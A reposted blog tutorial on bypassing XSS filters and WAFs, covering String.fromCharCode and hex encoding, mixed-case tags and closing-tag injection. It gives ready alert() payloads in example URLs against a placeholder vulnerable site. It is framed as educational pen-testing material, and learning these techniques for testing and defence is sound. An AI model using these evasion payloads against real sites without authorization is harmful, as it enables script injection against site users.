【外文】Advanced XSS Tutorials for Web application Pen Testing

原文 http://alihassanpenetrationtester.blogspot.com/2013/01/bypassing-xss-filters-advanced-xss.html

Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come)

.

Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert("hi")</script> , the Filter will escape the "(quote) character , so the script will become

<script>alert(>xss detected<)</script>

Now
this script won‘t work. Likewise Filters use different type of
filtering method to give protection against the XSS.  In this case, we
can use some tricks to bypass the filter.  Here i am going to cover that
only.

1.Bypassing magic_quotes_gpc

The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ‘ (single-quote), " (double quote) and \  with a backslash automatically.
For Eg:
<scirpt>alert("hi");</script> will be filtered as
<script>alert(\hi\)</script>.so the script won‘t work now.

This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg:  alert("hi"); can be converted to

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)

so
the script will become <script>String.fromCharCode(97, 108, 101,
114, 116, 40, 34, 104, 105, 34, 41, 59)</script>.  In this case
there is no "(quotes) or ‘(single quotes) or / so the filter can‘t
filter this thing.  Yes, it will successfully run the script.

String.fromCharCode() is a javascript function that converts ASCII value to Characters.

How to convert to ASCII values?

There are some online sites that converts to ASCII character. But i suggest you to use Hackbar Mozilla addon.

After installing hackbar add on ,press F9.  It will open the small box
above the url bar. click the XSS->String.fromCharCode()

Now it will popup small window. enter the code for instance alert("Hi").  click ok button.  Now we got the output.

copy the code into the <script></script> inside and insert in the vulnerable sites

For eg: 

hxxp://vulnerable-site/search?q=<script>String.fromCharCode(97,
108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>

2.HEX Encoding

we can encode our whole script into HEX code so that it can‘t be filtered.
For example:  <script>alert("Hi");</script> can be convert to HEX as:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e

Now put the code in the vulnerable site request.
For ex:

hxxp://vulnerable-site/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e

 Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/

3.Bypassing using Obfuscation

Some website admin put the script,alert in restricted word list.  so whenever you input this keywords,
the filter will remove it and will give error message like "you are not
allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation). 
For eg:

<ScRipt>ALeRt("hi");</sCRipT>

This bypass technique rarely works but giving trial is worth.

4. Closing Tag

Sometimes putting "> at the beginning of the code will work.

"><script>alert("Hi");</script>

This will end the previous opened tag and open our script tag.
Example:

hxxp://vulnerable-site/search?q="><script>alert("Hi");</script>

Conclusion:

From above
article, it is clear that XSS filters alone not going to protect a site
from the XSS attacks. If you really want to make your site more secure,
then ask PenTesters to test your application or test yourself.

Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.

Disclaimer:

This article is intended for educational purpose only.

时间: 2024-09-30 15:37:17

【外文】Advanced XSS Tutorials for Web application Pen Testing的相关文章

ModSecurity web application firewall (WAF) Research

catalog 0. 引言 1. OWASP ModSecurity Core Rule Set (CRS) Project 2. Installation mod_security for Apache 3. Installation mod_security for nginx 4. Installation mod_security for IIS 5. mod_security Configuration Directives 6. Processing Phases 7. Variab

Visual Studio Create Setup project to deploy web application in IIS

Introduction: In this article I will explain how to create setup file in visual studio 2008/2010 to deploy web application file directly in IIS or in client machine or how to place web application folder in c:\\inetpub\wwwroot folder by running setup

What technical details should a programmer of a web application consider before making the site public?

What things should a programmer implementing the technical details of a web application consider before making the site public? If Jeff Atwood can forget about HttpOnly cookies, sitemaps, and cross-site request forgeries all in the same site, what im

OWASP(Open Web Application Security Project) Top 10 for JavaScript

Injection Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing u

tornado.web.Application类配置及使用

Application configuration classtornado.web.Application(handlers=None, default_host='', transforms=None, **settings)[source] A collection of request handlers that make up a web application. Instances of this class are callable and can be passed direct

漏洞演示系统DVWA(Damn Vulnerable Web Application) V1.8渗透测试攻略

漏洞演示系统DVWA(Damn Vulnerable Web Application) V1.8攻略 测试环境: 操作系统:Windows 8.1 .Windows 7 运行时:.Net Framework 3.5 PHP+MySQL集成测试环境:XAMPP V3.2.1 首先,从http://www.dvwa.co.uk/ 下载DVWA,并将文件释放到c:\xampp\htdocs\DVWA 修改配置文件config\config.inc.php ,设置数据库连接账号及默认的安全级别: $_D

匿名访问之(一)web application级别

如果用SharePoint做一个对外开放的公共站点,比如公司展示网站,那么浏览网站的人不需要注册和登陆,就应该能看到内容.这个时候就需要对站点开启匿名访问. SharePoint的匿名访问是从上而下的,Farm管理员可以在Central Administration里,在Web Application级别做总控. 在Web Application页面,选择一个Web Application,点击ribbon上的Anonymous Policy: 发现这里的设置并没有开启: 这是因为并没有在这个W

The web application you are attempting to access on this web server is currently unavailable.......

今天去服务器安装了个.net 4.0 framework(原本有1.0和2.0的),配置好站点后,选择版本为4.0,访问出错,错误代码如下 Server Application Unavailable The web application you are attempting to access on this web server is currently unavailable.  Please hit the "Refresh" button in your web brows

java.lang.IllegalStateException: Illegal access: this web application instance has been stopped already.

java.lang.IllegalStateException: Illegal access: this web application instance has been stopped already. Could not load [META-INF/services/javax.xml.bind.JAXBContext]. 解决方法:先将项目remove,然后停止服务器,到应用程序目录下将部署的应用删除,然后启动服务器,重新部署就ok了 原因:暂不明确,可能是修改后有原来的残留物.